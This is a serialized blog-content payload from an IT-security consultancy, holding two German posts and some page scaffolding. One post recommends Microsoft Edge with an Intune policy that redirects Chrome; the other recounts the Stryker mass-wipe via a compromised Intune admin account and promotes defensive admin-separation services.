davon erfährt? Sprecht uns an.",{"image":1787,"cloudinary":511,"alt":1788,"name":804,"quotee":804,"quoteeTitle":1789,"quote":4596},"Das Gefährliche an dieser Variante war nicht die technische Komplexität, so beeindruckend sie auch ist. Gefährlich war das Zeitfenster. Ohne Shared Threat Intelligence hätten unsere anderen Kunden stundenlang ungeschützt dagestanden, während wir noch analysierten.",{"ctaText":1802,"cta":4598,"method":1074,"action":1805,"fields":4599},{"skin":1804},[4600,4601,4603,4605,4607,4610,4612,4613,4614,4616,4617,4618],{"type":1808,"id":1809,"value":1810},{"label":1812,"type":1813,"id":1814,"required":511,"requiredMsg":4602},"Bitte gebt euren Namen ein.",{"label":1817,"type":1813,"id":615,"required":511,"requiredMsg":4604},"Bitte gebt euer Unternehmen ein.",{"label":1820,"type":1821,"id":1821,"required":511,"requiredMsg":4606},"Bitte gebt eure E-Mail-Adresse ein.",{"label":4608,"type":1825,"id":1826,"required":752,"requiredMsg":4609},"Eure Nachricht an uns","Bitte gebt eine Nachricht ein.",{"label":4611,"type":1830,"id":1831,"required":511,"requiredMsg":1832},"Eure Daten werden bei uns zum Zweck der Bearbeitung und Beantwortung eurer Anfrage gespeichert. Weitere Informationen zum Datenschutz findet ihr in unserer \u003Ca href=\"/de/privacy\">Datenschutzerklärung\u003C/a>.",{"type":1808,"id":1834,"value":373},{"type":1808,"id":1836,"value":2193},{"type":1808,"id":1839,"value":4615},"Form: Blog AMOS Stealer CSOC | DE",{"type":1808,"id":1842,"value":1843},{"type":1808,"id":1845},{"type":1808,"id":1847},[4620,4622,4624],{"lang":1088,"href":4621},"/en/posts/2026-04-10-incident-to-intelligence",{"lang":4,"href":4623},"/de/posts/2026-04-10-incident-to-intelligence",{"lang":1091,"href":4625},"/es/posts/2026-04-10-incident-to-intelligence","/posts/2026-04-10-incident-to-intelligence",{"title":2430,"description":2436},"posts/2026-04-10-incident-to-intelligence",[4630,4631,4632,4633,4634],"Threat Intelligence","Incident Response","macOS Security","Malware Analysis","Cyber Security Operations Center","UOEeAiDWvGEnldyGolhkHvB5w7KQbGJ0wkzjF62ajZs",{"id":4637,"title":4638,"author":4639,"body":4640,"cta":767,"description":4644,"eventid":767,"extension":1073,"hideInRecent":752,"layout":1074,"meta":4831,"moment":4833,"navigation":511,"path":4859,"seo":4860,"stem":4861,"tags":767,"webcast":752,"__hash__":4862},"content_de/posts/2026-03-21-microsoft-edge-corporate-browser.md","Warum Edge euer einziger Corporate Browser sein sollte",[1177],{"type":806,"value":4641,"toc":4823},[4642,4645,4649,4651,4657,4661,4663,4666,4670,4672,4675,4689,4693,4695,4701,4707,4710,4752,4760,4764,4766,4774,4785,4789,4791,4794,4820],[814,4643,4644],{},"Die Wahl des Browsers ist in Unternehmensumgebungen eine strategische Entscheidung: Sie beeinflusst direkt, wie viel Sicherheit und Verwaltungsaufwand ihr tatsächlich habt. Google Chrome war lange die naheliegende Option, aber Microsoft Edge hat sich zu einem Browser entwickelt, der direkt in den bestehenden Stack greift, vor allem wenn Microsoft 365 im Einsatz ist und die Verwaltung über Intune läuft.",[809,4646,4648],{"id":4647},"sicherheit","Sicherheit",[814,4650,816],{},[814,4652,4653,4654,4656],{},"Ein verwalteter Microsoft Edge Browser sorgt dafür, dass Schutzfunktionen konsistent auf allen Endgeräten greifen. Mit nativer Integration in Microsoft Defender SmartScreen schützt Edge vor Phishing, Malware und weiteren Bedrohungen. Über Intune lassen sich Richtlinien eng fassen: Verhalten steuern, riskante Erweiterungen blockieren, sicheres Browsen durchsetzen. glueckkanja's ",[821,4655,45],{"href":46}," liefert aktuelle Edge-Richtlinien, die an Microsofts Security-Baselines ausgerichtet sind.",[809,4658,4660],{"id":4659},"synchronisation-mit-entra-id","Synchronisation mit Entra ID",[814,4662,816],{},[814,4664,4665],{},"Edge synchronisiert Benutzerdaten wie Favoriten, Passwörter und Einstellungen sicher über Entra ID-Konten geräteübergreifend. Das ist besonders relevant in hybriden Arbeitsumgebungen, wo Mitarbeitende zwischen Unternehmensgeräten, virtuellen Desktops und mobilen Geräten wechseln, ohne dabei Kontext oder Produktivität zu verlieren.",[809,4667,4669],{"id":4668},"komplexität-durch-mehrere-browser","Komplexität durch mehrere Browser",[814,4671,816],{},[814,4673,4674],{},"Wer Google Chrome parallel zu Edge betreibt, schafft sich Mehrarbeit:",[965,4676,4677,4683],{"style":967},[970,4678,4679,4682],{},[973,4680,4681],{},"Backup und Sync:"," Andere Browser erfordern häufig Drittanbieter-Konten, etwa ein Google-Konto, um die Synchronisierung zu ermöglichen.",[970,4684,4685,4688],{},[973,4686,4687],{},"Richtlinienpflege:"," Jeder Browser braucht ein eigenes Set an Sicherheits- und Konfigurationsrichtlinien. Das bindet Ressourcen, erhöht das Risiko von Fehlkonfigurationen und erschwert Audits.",[809,4690,4692],{"id":4691},"chrome-umleitung-via-intune","Chrome-Umleitung via Intune",[814,4694,816],{},[814,4696,4697,4698,4700],{},"Für die Umleitung von Chrome auf Edge gibt es eine fertige Richtlinie, die sich mit glueckkanja's ",[821,4699,45],{"href":46}," in wenigen Minuten einrichten lässt. Nutzer landen auf einer Seite, die Microsoft Edge als Standard-Corporate-Browser vorstellt, mit einem direkten Link zum Öffnen.",[814,4702,4703],{},[1728,4704],{"alt":4705,"src":4706},"Microsoft Edge als Standard-Corporate-Browser","https://res.cloudinary.com/c4a8/image/upload/blog/pics/microsoft-edge-default-browser.png",[814,4708,4709],{},"Die Konfigurationsrichtlinie regelt, wie Chrome eingeschränkt und umgeleitet wird:",[965,4711,4712,4725,4734,4740,4746],{"style":967},[970,4713,4714,4717,4718,4721,4722,3711],{},[973,4715,4716],{},"URL-Zulassungsliste:"," Nur bestimmte URLs sind erlaubt, etwa die Landingpage ",[2459,4719,4720],{},"https://edge.glueckkanja.com/"," und der Moniker ",[2459,4723,4724],{},"microsoft-edge:*",[970,4726,4727,4730,4731,4733],{},[973,4728,4729],{},"URL-Sperrliste:"," Alle anderen URLs werden blockiert (",[2459,4732,3700],{},"), was das allgemeine Browsen in Chrome effektiv unterbindet.",[970,4735,4736,4739],{},[973,4737,4738],{},"Startseite und neuer Tab:"," Beide zeigen auf die Landingpage, die zur Nutzung von Edge auffordert.",[970,4741,4742,4745],{},[973,4743,4744],{},"Protokollverarbeitung:"," Chrome öffnet beim Klick auf URLs der Landingpage automatisch Edge.",[970,4747,4748,4751],{},[973,4749,4750],{},"Erweiterungskontrolle:"," Zusätzliche Einstellungen unterbinden die Installation von Erweiterungen.",[814,4753,4754,4755],{},"Beispielrichtlinie als Download: ",[821,4756,4759],{"href":4757,"rel":4758},"https://github.com/glueckkanja/edge-redirection-landingpage/tree/main/docs/policies",[825],"Win - Default - Google Chrome - Redirect to Edge - v2.0.json",[809,4761,4763],{"id":4762},"landingpage-via-github-pages","Landingpage via GitHub Pages",[814,4765,816],{},[814,4767,4768,4769],{},"Die Seite läuft über GitHub Pages. Wer sie anpassen will, kann das direkt im Projekt tun: ",[821,4770,4773],{"href":4771,"rel":4772},"https://github.com/glueckkanja/edge-redirection-landingpage",[825],"edge-redirection-landingpage",[814,4775,4776],{},[821,4777,4782],{"role":1697,"className":4778,"dataText":4779,"href":4780,"target":516,"rel":4781,"type":1704},[1699,1700,1701,1702],"Landingpage in Aktion","https://edge.glueckkanja.com",[980],[1706,4783,4779],{"className":4784},[1709],[809,4786,4788],{"id":4787},"im-überblick","Im Überblick",[814,4790,816],{},[814,4792,4793],{},"Microsoft Edge bietet eine sichere, verwaltbare Browsing-Umgebung mit tiefer Integration in Microsoft 365 und ist damit die logische Wahl als Standard-Corporate-Browser. Die wichtigsten Vorteile im Überblick:",[965,4795,4796,4799,4802,4805,4808,4811,4814,4817],{"style":967},[970,4797,4798],{},"Entra ID-Integration mit SSO",[970,4800,4801],{},"Cloud-basierte Synchronisierung und Backup über Microsoft 365 auf mehreren Plattformen",[970,4803,4804],{},"Integriertes Sicherheits-Ökosystem mit Microsoft Defender SmartScreen und Microsoft Endpoint DLP",[970,4806,4807],{},"Unterstützung von Intune App Protection Policies",[970,4809,4810],{},"Browser-Management über Microsoft 365 Admin Center und Intune",[970,4812,4813],{},"Internet Explorer-Modus für Legacy-Anwendungen",[970,4815,4816],{},"Corporate Branding",[970,4818,4819],{},"Copilot-Integration",[814,4821,4822],{},"Wer auf Edge standardisiert, reduziert Komplexität, stärkt die Sicherheit und vereinfacht den Support. Den Umleitungsansatz auf weitere Browser auszuweiten liegt von hier aus nah.",{"title":1062,"searchDepth":1063,"depth":1063,"links":4824},[4825,4826,4827,4828,4829,4830],{"id":4647,"depth":1063,"text":4648},{"id":4659,"depth":1063,"text":4660},{"id":4668,"depth":1063,"text":4669},{"id":4691,"depth":1063,"text":4692},{"id":4762,"depth":1063,"text":4763},{"id":4787,"depth":1063,"text":4788},{"lang":4,"seoTitle":4832,"titleClass":1077,"date":4833,"blogtitlepic":4834,"socialimg":4835,"customExcerpt":4836,"keywords":4837,"hreflang":4838,"published":511,"asideNav":4845},"Microsoft Edge als gesicherter Corporate Browser: Sicherheit, Sync und Chrome-Umleitung via Intune","2026-03-21","head-microsoft-edge-default-browser.jpg","/blog/heads/head-microsoft-edge-default-browser.jpg","Kein Unternehmen hat Chrome wirklich gewählt; er war einfach da, mit eigener Sync-Logik, eigener Kontoverwaltung, eigener Richtlinienoberfläche. Microsoft Edge dagegen greift direkt in die Infrastruktur, die ohnehin schon läuft: Entra ID, Intune, Defender. Dieser Beitrag zeigt, wie der Wechsel aussieht, wie Chrome per Intune-Richtlinie auf eine Landingpage umgeleitet wird und was wegfällt, wenn man aufhört, zwei Browser parallel zu betreiben.","Microsoft Edge, Corporate Browser, Microsoft Intune, Entra ID, Chrome-Umleitung, Managed Intune, Browser-Richtlinie, Microsoft Defender SmartScreen, Enterprise Browser, Browser-Management, URL-Sperrliste, URL-Zulassungsliste",[4839,4841,4843],{"lang":4,"href":4840},"/de/posts/2026-03-21-microsoft-edge-corporate-browser",{"lang":1088,"href":4842},"/en/posts/2026-03-21-microsoft-edge-corporate-browser",{"lang":1091,"href":4844},"/es/posts/2026-03-21-microsoft-edge-corporate-browser",{"menuItems":4846},[4847,4849,4851,4853,4855,4857],{"href":4848,"text":4648},"#sicherheit",{"href":4850,"text":4660},"#synchronisation-mit-entra-id",{"href":4852,"text":4669},"#komplexität-durch-mehrere-browser",{"href":4854,"text":4692},"#chrome-umleitung-via-intune",{"href":4856,"text":4763},"#landingpage-via-github-pages",{"href":4858,"text":4788},"#im-überblick","/posts/2026-03-21-microsoft-edge-corporate-browser",{"title":4638,"description":4644},"posts/2026-03-21-microsoft-edge-corporate-browser","nk6RYmsy9aHIPrWtuCZFxqzG4PVOnBoAgI-NYSTo3pM",{"id":4864,"title":4865,"author":4866,"body":4867,"cta":767,"description":4871,"eventid":767,"extension":1073,"hideInRecent":752,"layout":1074,"meta":5109,"moment":5111,"navigation":511,"path":5166,"seo":5167,"stem":5168,"tags":5169,"webcast":752,"__hash__":5171},"content_de/posts/2026-03-20-stryker-attack-intune-privilege.md","Ein Admin-Konto war alles, was es brauchte.",[804],{"type":806,"value":4868,"toc":5097},[4869,4872,4875,4879,4881,4884,4887,4891,4893,4896,4899,4902,4905,4909,4911,4914,4917,4921,4923,4926,4929,4932,4936,4938,4941,4947,4951,4953,4959,4962,4965,4968,4974,4977,4982,4991,4995,4997,5003,5006,5015,5018,5021,5024,5027,5030,5033,5037,5039,5042,5045,5048,5056,5059,5062,5066,5068],[814,4870,4871],{},"Mittwoch, 11. März 2026. Mitarbeiter in Stryker-Büros in 79 Ländern schalteten ihre Computer ein und fanden sie leer. Login-Bildschirme ersetzt durch ein Logo. Firmen-Laptops, Diensthandys, private Geräte, die im BYOD-Programm des Unternehmens registriert waren – alle gleichzeitig gelöscht, über Nacht. Keine Ransomware, keine Malware-Signaturen, nichts, das ein Endpoint-Detection-Tool hätte erkennen können.",[814,4873,4874],{},"Der Angreifer, eine pro-iranische Hacktivistengruppe namens Handala, hatte Strykers eigene IT-Management-Infrastruktur zur Waffe gemacht.",[809,4876,4878],{"id":4877},"was-wirklich-passiert-ist","Was wirklich passiert ist",[814,4880,816],{},[814,4882,4883],{},"Der Kern des Angriffs war kein ausgefeilter Exploit und keine Zero-Day-Schwachstelle, sondern etwas weitaus Einfacheres und weitaus Häufigeres: Ein Administrator-Konto wurde kompromittiert, und dieses Konto hatte Zugang zu Microsoft Intune.",[814,4885,4886],{},"Laut Berichten von BleepingComputer wurden etwa 80.000 Geräte zwischen 5:00 und 8:00 Uhr UTC gelöscht. Handala behauptete, die Zahl habe 200.000 überschritten, darunter Server und mobile Geräte im globalen Betrieb des Unternehmens in 79 Ländern. Ein Angriff, ausgeführt ausschließlich über eine legitime Management-Konsole.",[809,4888,4890],{"id":4889},"warum-dieser-angriff-erfolgreich-war","Warum dieser Angriff erfolgreich war",[814,4892,816],{},[814,4894,4895],{},"Es gibt ein strukturelles Problem an der Wurzel dieses Vorfalls, das nicht spezifisch für Stryker ist. Es betrifft die meisten Unternehmen.",[814,4897,4898],{},"Die meisten Organisationen behandeln administrative Aufgaben und die tägliche Arbeit als Aktivitäten, die auf demselben Gerät unter derselben Benutzeridentität problemlos koexistieren können. Ein IT-Administrator beantwortet E-Mails, surft im Internet, klickt gelegentlich auf einen Link und verwaltet von derselben Sitzung, auf demselben Gerät aus Cloud-Infrastruktur, genehmigt Zugriffsänderungen oder berührt, wie in diesem Fall, eine Geräteverwaltungskonsole mit der Berechtigung, die gesamte Geräteflotte zu löschen.",[814,4900,4901],{},"Das ist die Angriffsfläche. Wenn der alltägliche Arbeitskontext und der privilegierte Administrationskontext einen gemeinsamen Endpunkt und eine gemeinsame Identität teilen, ist jede Kompromittierung dieses Endpunkts automatisch eine Kompromittierung von allem, was diese Identität erreichen kann. Phishing, Credential-Diebstahl über Infostealer-Malware, Adversary-in-the-Middle (AiTM) Session-Token-Diebstahl – all das wird zu einem direkten Pfad zu den mächtigsten Kontrollen in der Umgebung. Keine Privilege-Eskalation erforderlich. Der Angreifer nutzt einfach das, was bereits vorhanden ist.",[814,4903,4904],{},"Im Fall von Stryker umfasste dieser Zugang einen Intune-Tenant, der Geräte auf sechs Kontinenten verwaltete.",[809,4906,4908],{"id":4907},"cisa-hat-genug-gesehen","CISA hat genug gesehen",[814,4910,816],{},[814,4912,4913],{},"Das Ausmaß und die Dreistigkeit des Angriffs lösten eine ungewöhnliche Reaktion aus: CISA, die US-amerikanische Cybersecurity and Infrastructure Security Agency, veröffentlichte Leitlinien, die direkt das Risiko kompromittierter Geräteverwaltungsplattformen adressieren. Die Behörde bestätigte, dass sie den Angriffsvektor kannte, und forderte Organisationen auf, konkrete Maßnahmen zu ergreifen – sicherzustellen, dass hochriskante Intune-Funktionen wie das Löschen von Geräten die Genehmigung eines zweiten Administrators erfordern, bevor sie ausgeführt werden.",[814,4915,4916],{},"Das ist ein seltenes und bedeutsames Signal. Wenn eine Bundesbehörde für Sicherheit unmittelbar nach einem konkreten Vorfall gezielte Leitlinien herausgibt, ist die Botschaft klar: Das ist kein Randfall. Das ist ein Muster, und andere Organisationen sind mit hoher Wahrscheinlichkeit demselben Risiko ausgesetzt.",[809,4918,4920],{"id":4919},"trennung-ist-kein-luxus-sie-ist-die-kontrolle","Trennung ist kein Luxus. Sie ist die Kontrolle.",[814,4922,816],{},[814,4924,4925],{},"Der Stryker-Angriff zeigt in aller Deutlichkeit, welches Ausmaß ein flaches Privilege-Modell haben kann. Der Angreifer musste keine Privilegien durch eine Kette von Schwachstellen eskalieren. Er erlangte Zugang zu Anmeldedaten oder einem Session-Token auf einer Ebene und stellte fest, dass diese Ebene bereits ausreichte, um katastrophalen, globalen, irreversiblen Schaden zu verursachen.",[814,4927,4928],{},"Die architektonische Antwort auf dieses Problem hat einen Namen: das Microsoft Enterprise Access Model (EAM). Sein Kernprinzip ist die gestaffelte Administration: Privilegierte Operationen werden mit dedizierten Konten und dedizierten Geräten durchgeführt, strikt vom alltäglichen Arbeitskontext getrennt. Dieser Least-Privilege-Ansatz bedeutet, dass ein kompromittiertes Produktivitätskonto die Management-Ebene nicht erreichen kann und ein kompromittiertes Management-Konto keine Control-Plane-Operationen durchführen kann. Das gilt gleichermaßen für reine Cloud-Umgebungen und hybride Setups einschließlich On-Premises-Anbindung an Active Directory über Entra ID, wo ein einziges überprivilegiertes Konto nach wie vor die Cloud und die Domäne verbinden kann.",[814,4930,4931],{},"Die Idee ist einfach. Administrative Arbeit findet auf administrativen Geräten statt. Die Identität, die zur Verwaltung des Microsoft 365-Tenants, der Intune-Umgebung oder der Azure-Infrastruktur verwendet wird, ist niemals dieselbe Identität, die zum Lesen von E-Mails oder zur Teilnahme an Teams-Anrufen genutzt wird. Das Gerät, das für diese administrativen Sitzungen verwendet wird, ist gehärtet, eingeschränkt und vom regulären Internet-Browsing und dem Produktivitätskontext isoliert, der die Angriffsfläche erzeugt. Laterale Bewegung wird strukturell schwieriger, weil es keinen lateralen Pfad gibt.",[809,4933,4935],{"id":4934},"zwei-verteidigungsebenen","Zwei Verteidigungsebenen",[814,4937,816],{},[814,4939,4940],{},"Um dieses Bedrohungsmodell richtig zu adressieren, muss man gleichzeitig auf zwei Ebenen arbeiten: sichern, wer die Management-Ebene und deren Anmeldedaten berühren kann, und härten, wie diese Management-Ebene selbst konfiguriert und betrieben wird. Das sind nicht dasselbe Problem, und beide sind wichtig.",[814,4942,4943],{},[1728,4944],{"alt":4945,"src":4946},"Risiko- und Produktzuordnung für das Stryker-Angriffsszenario: Managed Red Tenant adressiert Identitäts- und Zugriffsrisiken, Managed Intune adressiert Endpoint-Management-Risiken","https://res.cloudinary.com/c4a8/image/upload/v1774005366/blog/pics/stryker_risk_product_mapping.svg",[1684,4948,4950],{"id":4949},"managed-red-tenant-den-administrativen-kontext-schützen","Managed Red Tenant: den administrativen Kontext schützen",[814,4952,2471],{},[814,4954,4955,4956,4958],{},"Die erste Ebene ist die vollständige Isolierung des privilegierten Zugangs. Dafür ist unser ",[821,4957,396],{"href":397}," konzipiert.",[814,4960,4961],{},"Der Managed Red Tenant bietet eine vollständig isolierte, cloudbasierte administrative Umgebung – einen dedizierten Microsoft Entra-Tenant („der Red Tenant\"), der ausschließlich für privilegierte Operationen genutzt wird. Administrative Identitäten leben hier. Administrative Geräte werden hier verwaltet. Nichts aus der regulären Arbeitsumgebung fließt hinüber.",[814,4963,4964],{},"Für die kritischsten Rollen – jene mit Control-Plane-Zugang, wie Global Administratoren – implementieren wir den „Clean Keyboard\"-Ansatz: eine physische Privileged Admin Workstation (PAW) mit dedizierter Hardware, gehärteten Richtlinien und keinerlei Berührungspunkten mit dem alltäglichen Arbeitskontext. Für administrative Rollen unterhalb der Control Plane bieten wir skalierbare Virtual Access Workstations (VAW) an, die auf einer gehärteten Azure Virtual Desktop-Infrastruktur innerhalb des Red Tenants aufgebaut sind. Der Zugriffspfad selbst ist durch Microsoft Entra Private Access geschützt, mit Zero Trust Network Access und Conditional Access-Richtlinien, bevor eine Sitzung hergestellt werden kann.",[814,4966,4967],{},"Microsoft Entra Internet Access blockiert den öffentlichen Internetzugang aus administrativen Sitzungen und beschränkt die Verbindungen strikt auf privilegierte Schnittstellen und autorisierte Tenant-Umgebungen. Nahezu Echtzeit-Sitzungswiderruf ist durch Universal Conditional Access Evaluation möglich, was bedeutet, dass ein widerrufenes Credential nicht als gültige Sitzung weiterbesteht.",[814,4969,4970,4971,4973],{},"Der Managed Red Tenant wird rund um die Uhr von unserem ",[821,4972,938],{"href":426}," überwacht, mit speziell entwickelten Erkennungen, die gezielt auf administrative Berechtigungen und Zugriffsmuster ausgerichtet sind. Ein Angreifer, der irgendwie ein Credential in dieser Umgebung kompromittiert, hätte nicht drei unentdeckte Stunden, um Wipe-Befehle über eine globale Geräteflotte auszuführen.",[814,4975,4976],{},"Das ist besonders relevant für Rollen wie Intune-Administratoren. Sie wissen, wie man Clients sichert, aber die Absicherung einer privilegierten Admin-Workstation erfordert andere Fähigkeiten: Enterprise Access Architecture, Identity Hardening, Zero Trust Controls. Diese liegen typischerweise beim Sicherheitsteam. Ein Managed Red Tenant nimmt diese Last vollständig ab: Intune-Admins erhalten eine professionell verwaltete, konsistent gehärtete Workstation, ohne selbst zu Experten für Sicherheits-Workstations werden zu müssen. Das gilt für jede hochprivilegierte Rolle in der Organisation.",[2038,4978],{"thumb":4979,"alt":4980,"id":4981,":full-width":2043},"/thumbs/thumb-managed-red-tenant.jpg","Jan Geisbauer und Thomas Naunheim diskutieren die Managed Red Tenant-Cybersicherheitsstrategie","rOEIvItNkjE",[2045,4983,4985,4986],{"style":4984},"background:var(--color-gk-light-grey); margin-top:0.5rem; padding:0.5rem 1rem; font-size:0.85rem; color:var(--color-gk-dark-blue)","Mehr auf unserem ",[821,4987,4990],{"href":4988,"target":516,"rel":4989},"https://www.youtube.com/playlist?list=PLPxBXiOFJRHelegu_B-uZAyz2UrOSxioL",[980],"YouTube-Kanal",[1684,4992,4994],{"id":4993},"managed-intune-die-management-ebene-selbst-absichern","Managed Intune: die Management-Ebene selbst absichern",[814,4996,2471],{},[814,4998,4999,5000,5002],{},"Die zweite Ebene ist sicherzustellen, dass Intune – das Tool, das beim Stryker-Angriff als Waffe eingesetzt wurde – nach höchstem Sicherheitsstandard konfiguriert, betrieben und kontinuierlich gepflegt wird. Dafür ist unser ",[821,5001,45],{"href":46},"-Service zuständig.",[814,5004,5005],{},"Eine der zentralen Erkenntnisse aus Vorfällen wie diesem ist, dass Organisationen häufig Intune-Umgebungen erben, die organisch gewachsen sind: Richtlinien auf Richtlinien gestapelt, manuelle Änderungen über das Portal, die schwer zu prüfen sind, und Sicherheits-Baselines, die mit Microsofts eigenen, sich weiterentwickelnden Empfehlungen nicht Schritt gehalten haben. Genau diese Art von Umgebung ist es, in der Konfigurationsdrift ausnutzbare Lücken schafft.",[814,5007,5008,5009,5014],{},"Microsoft hat kürzlich ",[821,5010,5013],{"href":5011,"rel":5012},"https://techcommunity.microsoft.com/blog/intunecustomersuccess/best-practices-for-securing-microsoft-intune/4502117",[825],"Best Practices für die Absicherung von Microsoft Intune"," veröffentlicht – ein Signal, dass auch Microsoft Intune-Härtung als Thema betrachtet, das branchenweit explizite Aufmerksamkeit erfordert. Unser Managed Intune-Service basiert auf diesen Prinzipien, und wir haben Microsofts Empfehlungen als Teil unserer Baseline implementiert.",[814,5016,5017],{},"Unser Managed Intune-Service basiert auf der glueckkanja Intune Foundation: ein bewährter, kontinuierlich gepflegter Satz von Best Practices für das Gerätemanagement, vollständig als Code mit Terraform und unserem eigenen TerraProvider bereitgestellt. Jede Änderung ist automatisiert, versionskontrolliert und prüfbar. Es gibt keine undokumentierten Click-through-Konfigurationen, die ein Angreifer ausnutzen könnte, indem er die Lücke zwischen dem Beabsichtigten und dem tatsächlich Gesetzten versteht.",[814,5019,5020],{},"Aus Sicherheitsperspektive bedeutet das, dass Zero Trust, App Protection Policies und Endpoint Security-Konfigurationen by Design konsistent angewendet werden – über Windows, macOS, iOS und Android – nicht als einmalige Bereitstellungen, sondern als kontinuierlich durchgesetzte, fortlaufend aktualisierte Baselines, die Microsofts eigene Sicherheitsleitlinien nachverfolgen.",[814,5022,5023],{},"Entscheidend ist, dass Managed Intune die betriebliche Reife widerspiegelt, die modernes Endpoint-Management erfordert: kontinuierliches Compliance-Monitoring, strukturierte Änderungsgovernance und regelmäßige Service-Reviews – nicht als optionale Extras, sondern als Baseline-Operationen. Aber die Intune-Konfiguration zu sichern ist nur die halbe Miete. Wenn der Administrator, der auf die Konsole zugreift, dies von einem ungeschützten Gerät aus tut, bleibt die Management-Ebene trotzdem exponiert – genau hier vervollständigt der Managed Red Tenant das Modell.",[814,5025,5026],{},"Da alle Konfigurationen als Code auf Basis der Intune Foundation bereitgestellt werden, setzen wir ein striktes Vier-Augen-Prinzip mit Peer Review, zusätzlicher automatisierter Validierung und kontrollierten Deployment-Pipelines durch. Das eliminiert nicht verwaltete Portal-Änderungen innerhalb der Intune Foundation und stellt eine konsistente, prüfbare und sichere Baseline über alle Geräte hinweg sicher.",[814,5028,5029],{},"Der administrative Zugang wird durch ein Least-Privilege-Modell mit GDAP und Azure Lighthouse gesteuert, mit klar definierten Verantwortlichkeiten und eng begrenztem Zugang zum Kunden-Tenant. Das reduziert die mit privilegierten Operationen verbundene Angriffsfläche erheblich.",[814,5031,5032],{},"Aktionen auf Geräteebene, einschließlich destruktiver Operationen, verbleiben in der Verantwortung des Kunden, da ihre Ausführung eng mit organisationsspezifischen Prozessen und internen Governance-Frameworks verbunden ist. Microsoft und CISA empfehlen, solche Aktionen durch zusätzliche Schutzmaßnahmen zu sichern, beispielsweise durch Multi-Admin-Genehmigungskontrollen in Intune.",[809,5034,5036],{"id":5035},"die-unbequeme-frage","Die unbequeme Frage",[814,5038,816],{},[814,5040,5041],{},"Der Stryker-Angriff ist keine Anklage gegen Microsoft Intune. Intune hat sich genau so verhalten, wie es konzipiert wurde. Es führte die Befehle aus, die es von einem authentifizierten Administrator erhielt. Das Versagen lag nicht im Tool. Es lag im Fehlen von Kontrollen darüber, wer dieses Tool erreichen konnte, aus welchem Kontext heraus und mit welchem Autorisierungsgrad.",[814,5043,5044],{},"Das ist ein Governance- und Architekturproblem. Und es ist dasselbe Problem, das in den meisten Organisationen besteht, die heute Microsoft 365 betreiben.",[814,5046,5047],{},"Wenn Ihre Administratoren auf Intune, Entra ID oder Azure von denselben Geräten und Identitäten zugreifen, die sie für die alltägliche Arbeit verwenden – und wenn Ihre Intune-Umgebung über Jahre manueller Portal-Änderungen gewachsen ist anstatt durch ein strukturiertes, automatisiertes Betriebsmodell – tragen Sie dasselbe strukturelle Risiko, das Stryker am 11. März trug. Die Frage ist, ob ein Angreifer diese Schwachstelle finden wird, bevor Sie sie schließen.",[814,5049,5050,5052,5053,5055],{},[821,5051,396],{"href":397}," adressiert die Privilege- und Identitätsebene. ",[821,5054,45],{"href":46}," adressiert die Konfigurations- und Betriebsebene. Zusammen schließen sie die zwei Lücken, die den Stryker-Angriff möglich gemacht haben.",[814,5057,5058],{},"Wenn Sie verstehen möchten, wie einer der Services auf Ihre aktuelle Umgebung zutrifft oder wo Ihre konkreten Schwachstellen liegen, sprechen wir gerne darüber.",[814,5060,5061],{},"Wir werden in Kürze auch einen Deep-Dive-Artikel veröffentlichen, der untersucht, wie der Stryker-Vorfall überhaupt möglich sein konnte.",[809,5063,5065],{"id":5064},"weitere-informationen","Weitere Informationen",[814,5067,816],{},[965,5069,5070,5077,5083,5090],{},[970,5071,5072],{},[821,5073,5076],{"href":5074,"rel":5075},"https://www.cisa.gov/secure-cloud-business-applications",[825],"CISA: Securing Cloud Business Applications",[970,5078,5079],{},[821,5080,5082],{"href":5011,"rel":5081},[825],"Microsoft: Best Practices für die Absicherung von Microsoft Intune",[970,5084,5085],{},[821,5086,5089],{"href":5087,"rel":5088},"https://techcrunch.com/2026/03/19/cisa-urges-companies-to-secure-microsoft-intune-systems-after-hackers-mass-wipe-stryker-devices/?utm_campaign=social",[825],"TechCrunch: CISA fordert Unternehmen auf, Microsoft Intune-Systeme zu sichern, nachdem Hacker Stryker-Geräte massenhaft gelöscht haben",[970,5091,5092],{},[821,5093,5096],{"href":5094,"rel":5095},"https://marketplace.microsoft.com/de-de/product/saas/glueckkanja-gabag.redtenant?tab=overview",[825],"Managed Red Tenant im Azure Marketplace",{"title":1062,"searchDepth":1063,"depth":1063,"links":5098},[5099,5100,5101,5102,5103,5107,5108],{"id":4877,"depth":1063,"text":4878},{"id":4889,"depth":1063,"text":4890},{"id":4907,"depth":1063,"text":4908},{"id":4919,"depth":1063,"text":4920},{"id":4934,"depth":1063,"text":4935,"children":5104},[5105,5106],{"id":4949,"depth":1765,"text":4950},{"id":4993,"depth":1765,"text":4994},{"id":5035,"depth":1063,"text":5036},{"id":5064,"depth":1063,"text":5065},{"lang":4,"seoTitle":5110,"titleClass":1077,"date":5111,"categories":5112,"blogtitlepic":5113,"socialimg":5114,"customExcerpt":5115,"keywords":5116,"hreflang":5117,"asideNav":5124,"contactInContent":5139,"maxContent":752,"published":511},"Der Stryker-Angriff: Wie ein kompromittiertes Admin-Konto 80.000 Geräte über Intune löschte","2026-03-20",[373],"head-stryker.jpg","/blog/heads/head-stryker.jpg","Am 11. März 2026 löschte Handala Geräte in 79 Ländern, und alles, was dafür nötig war, war ein kompromittiertes Intune-Admin-Konto. Keine Malware, kein Exploit, nur legitime Management-Tools, gegen ihre Besitzer gerichtet. Was passiert ist, warum es funktioniert hat und welche zwei architektonischen Lücken geschlossen werden müssen.","Stryker-Angriff, Handala, Microsoft Intune Wipe, Privileged Access Management, Admin-Workstation, Managed Red Tenant, Managed Intune, Zero Trust, Privileged Admin Workstation, PAW, Enterprise Access Model, CISA, Endpoint-Management-Sicherheit",[5118,5120,5122],{"lang":4,"href":5119},"/de/posts/2026-03-20-stryker-attack-intune-privilege",{"lang":1091,"href":5121},"/es/posts/2026-03-20-stryker-attack-intune-privilege",{"lang":1088,"href":5123},"/en/posts/2026-03-20-stryker-attack-intune-privilege",{"menuItems":5125},[5126,5128,5130,5132,5135,5137],{"href":5127,"text":4878},"#was-wirklich-passiert-ist",{"href":5129,"text":4890},"#warum-dieser-angriff-erfolgreich-war",{"href":5131,"text":4908},"#cisa-hat-genug-gesehen",{"href":5133,"text":5134},"#trennung-ist-kein-luxus-sie-ist-die-kontrolle","Trennung ist kein Luxus",{"href":5136,"text":4935},"#zwei-verteidigungsebenen",{"href":5138,"text":5036},"#die-unbequeme-frage",{"quote":511,"infos":5140},{"bgColor":1780,"headline":4593,"subline":5141,"level":809,"textStyling":1784,"flush":1785,"person":5142,"form":5144},"Möchten Sie wissen, wie Managed Red Tenant und Managed Intune die Lücken 